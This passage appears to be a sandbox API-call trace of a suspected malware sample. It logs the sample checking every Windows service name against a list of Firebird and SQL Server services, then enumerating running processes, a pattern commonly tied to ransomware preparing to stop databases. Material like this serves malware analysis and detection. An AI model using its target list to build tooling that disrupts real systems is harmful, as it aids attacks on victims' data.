	[0195.824] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0195.824] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0195.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0195.824] lstrlenW (lpString="Dhcp") returned 4
	[0195.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0195.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0195.824] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0195.824] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0195.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0195.824] lstrlenW (lpString="Dnscache") returned 8
	[0195.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0195.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0195.824] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0195.824] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0195.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0195.824] lstrlenW (lpString="DPS") returned 3
	[0195.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0195.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0195.824] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0195.824] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0195.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0195.824] lstrlenW (lpString="DusmSvc") returned 7
	[0195.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0195.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0195.824] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0195.824] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0195.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0195.824] lstrlenW (lpString="EventLog") returned 8
	[0195.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0195.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0195.825] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0195.825] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0195.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0195.825] lstrlenW (lpString="EventSystem") returned 11
	[0195.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0195.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0195.825] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0195.825] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0195.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0195.825] lstrlenW (lpString="FontCache") returned 9
	[0195.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0195.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0195.825] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0195.825] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0195.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0195.825] lstrlenW (lpString="gpsvc") returned 5
	[0195.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0195.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0195.825] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0195.825] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0195.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0195.825] lstrlenW (lpString="iphlpsvc") returned 8
	[0195.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0195.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0195.825] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0195.825] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0195.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0195.825] lstrlenW (lpString="KeyIso") returned 6
	[0195.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0195.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0195.826] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0195.826] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0195.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0195.826] lstrlenW (lpString="LanmanServer") returned 12
	[0195.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0195.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0195.826] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0195.826] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0195.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0195.826] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0195.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0195.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0195.826] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0195.826] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0195.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0195.826] lstrlenW (lpString="lfsvc") returned 5
	[0195.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0195.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0195.826] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0195.826] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0195.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0195.826] lstrlenW (lpString="lmhosts") returned 7
	[0195.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0195.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0195.826] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0195.826] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0195.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0195.826] lstrlenW (lpString="LSM") returned 3
	[0195.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0195.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0195.826] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0195.826] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0195.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0195.827] lstrlenW (lpString="MpsSvc") returned 6
	[0195.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0195.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0195.827] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0195.827] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0195.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0195.827] lstrlenW (lpString="NcbService") returned 10
	[0195.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0195.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0195.827] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0195.827] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0195.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0195.827] lstrlenW (lpString="netprofm") returned 8
	[0195.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0195.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0195.827] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0195.827] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0195.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0195.827] lstrlenW (lpString="NgcSvc") returned 6
	[0195.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0195.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0195.827] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0195.827] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0195.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0195.827] lstrlenW (lpString="NlaSvc") returned 6
	[0195.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0195.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0195.827] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0195.827] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0195.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0195.827] lstrlenW (lpString="nsi") returned 3
	[0195.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0195.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0195.828] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0195.828] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0195.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0195.828] lstrlenW (lpString="PcaSvc") returned 6
	[0195.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0195.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0195.828] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0195.828] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0195.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0195.828] lstrlenW (lpString="PlugPlay") returned 8
	[0195.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0195.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0195.828] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0195.828] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0195.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0195.828] lstrlenW (lpString="Power") returned 5
	[0195.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0195.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0195.828] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0195.828] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0195.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0195.828] lstrlenW (lpString="ProfSvc") returned 7
	[0195.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0195.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0195.828] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0195.828] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0195.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0195.828] lstrlenW (lpString="RpcEptMapper") returned 12
	[0195.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0195.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0195.829] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0195.829] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0195.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0195.829] lstrlenW (lpString="RpcSs") returned 5
	[0195.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0195.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0195.829] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0195.829] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0195.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0195.829] lstrlenW (lpString="SamSs") returned 5
	[0195.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0195.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0195.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0195.829] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0195.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0195.829] lstrlenW (lpString="Schedule") returned 8
	[0195.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0195.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0195.829] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0195.829] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0195.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0195.829] lstrlenW (lpString="SecurityHealthService") returned 21
	[0195.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0195.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0195.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0195.829] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0195.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0195.829] lstrlenW (lpString="SENS") returned 4
	[0195.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0195.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0195.830] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0195.830] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0195.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0195.830] lstrlenW (lpString="ShellHWDetection") returned 16
	[0195.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0195.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0195.830] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0195.830] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0195.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0195.830] lstrlenW (lpString="Spooler") returned 7
	[0195.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0195.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0195.830] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0195.830] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0195.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0195.830] lstrlenW (lpString="StateRepository") returned 15
	[0195.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0195.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0195.830] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0195.830] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0195.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0195.830] lstrlenW (lpString="SysMain") returned 7
	[0195.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0195.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0195.830] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0195.830] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0195.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0195.830] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0195.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0195.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0195.830] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0195.830] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0195.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0195.831] lstrlenW (lpString="Themes") returned 6
	[0195.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0195.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0195.831] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0195.831] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0195.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0195.831] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0195.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0195.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0195.831] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0195.831] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0195.831] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x590
	[0195.958] Process32FirstW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0195.959] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0195.959] lstrlenW (lpString="System") returned 6
	[0195.960] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0195.960] lstrlenW (lpString="smss.exe") returned 8
	[0195.960] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0195.961] lstrlenW (lpString="csrss.exe") returned 9
	[0195.961] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0195.961] lstrlenW (lpString="wininit.exe") returned 11
	[0195.962] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0195.962] lstrlenW (lpString="csrss.exe") returned 9
	[0195.962] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0195.962] lstrlenW (lpString="winlogon.exe") returned 12
	[0195.963] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0195.963] lstrlenW (lpString="services.exe") returned 12
	[0195.963] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0195.964] lstrlenW (lpString="lsass.exe") returned 9
	[0195.964] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0195.964] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0195.964] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0195.965] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0195.965] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.965] lstrlenW (lpString="svchost.exe") returned 11
	[0195.965] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.966] lstrlenW (lpString="svchost.exe") returned 11
	[0195.966] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0195.966] lstrlenW (lpString="dwm.exe") returned 7
	[0195.966] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.967] lstrlenW (lpString="svchost.exe") returned 11
	[0195.967] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.967] lstrlenW (lpString="svchost.exe") returned 11
	[0195.967] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.968] lstrlenW (lpString="svchost.exe") returned 11
	[0195.968] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.968] lstrlenW (lpString="svchost.exe") returned 11
	[0195.968] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.969] lstrlenW (lpString="svchost.exe") returned 11
	[0195.969] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.969] lstrlenW (lpString="svchost.exe") returned 11
	[0195.970] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0195.970] lstrlenW (lpString="svchost.exe") returned 11
